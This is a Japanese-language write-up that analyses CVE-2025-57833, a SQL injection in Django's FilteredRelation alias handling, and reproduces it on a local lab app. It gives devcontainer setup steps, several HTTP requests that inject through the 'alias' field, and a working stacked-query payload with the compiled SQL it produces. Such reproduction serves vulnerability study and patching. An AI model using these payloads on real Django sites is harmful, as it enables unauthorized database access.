
CVE-2025-57833 の分析と再現
Djangoで1年ぶりに発覚したSQLインジェクションの脆弱性です。一見すると、エイリアスが原因で発生するインジェクションのようです(エイリアスはプリコンパイルできないため)。
この脆弱性は Django フレームワークの FilteredRelation 機能に影響します。QuerySet.annotate() または QuerySet.alias() メソッドを使用し、Python の辞書展開 (**kwargs) で列エイリアスを指定する場合、SQL インジェクションのリスクがあります。これは、辞書キー(つまり列エイリアス)が十分に検証されていないためであり、攻撃者が悪意のある辞書を構築して制限なしの SQL 文を注入できる可能性があります。
この脆弱性の影響範囲は以下のとおりです。
この脆弱性プロジェクトは vscode の devcontiner を使用して構築されています。
1️⃣ プロジェクトを開く VS Code で既存のプロジェクトルート(.devcontainer フォルダーを含む)を開きます。
2️⃣ コンテナーを開き直す(Dev Container を構築)
Ctrl+Shift+P(Windows/Linux)または Cmd+Shift+P(Mac)を押します。
Remote-Containers: Reopen in Container と入力します。
VS Code は .devcontainer 構成を読み取り、コンテナーを構築します(初回の構築には数分かかる場合があります)。
⚠️ Dockerfile または依存関係を更新した場合は、Remote-Containers: Rebuild Container を選択して、最新の環境を確実に使用できます。
3️⃣ Django 開発サーバーを実行する
コマンドパレットを開く Ctrl+Shift+P
Tasks: Run Task と入力します。
django:start を選択します(タスクは .vscode/tasks.json で構成されています)。
このタスクは、コンテナー内で Django 開発サーバーを起動します。
デフォルトでは 0.0.0.0:8085 をリッスンします。
4️⃣ ブラウザーを開いてプロジェクトにアクセスする
ブラウザーを開いて以下にアクセスします:
5️⃣ 注意事項
初回実行時:
データベースのマイグレーションを実行する必要がある場合があります:
python manage.py migrate
サーバー起動後、http://localhost:8085 にアクセスします。
/book/search エンドポイントに通常どおりアクセスします。
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX","author":"Bob"}

このとき、Django ORM が内部でコンパイルした SQL は次のとおりです。
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" XXX ON ("vuln_book"."author_id" = XXX."id" AND (XXX."name" = Bob)) WHERE XXX."id" > 0
vuln_author テーブルのエイリアス XXX が作成されたことがわかります。前述のパッチ分析に基づくと、現在 XXX に対してフィルタリングが行われていないため、注入が可能です。
スタックドインジェクションを直接使用しても、最初の SQL が不正であるため、2番目の SQL は実行されません。
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":"XXX;select user --","author":"Bob"}

そのため、最初の文を正当なものにする必要があります。ここでは関連付け(JOIN)の関係にあるため、using 構文を直接使用します。
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json
{"alias":" using(id);select user --","author":"Bob"}

これで注入に成功し、データベースの実行ユーザーが postgres であることが確認できました。このとき、内部で正常にコンパイルされた SQL 文は次のとおりです。
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" using(id);select user -- ON ("vuln_book"."author_id" = using(id);select user --."id" AND ( using(id);select user --."name" = Bob)) WHERE using(id);select user --."id" > 0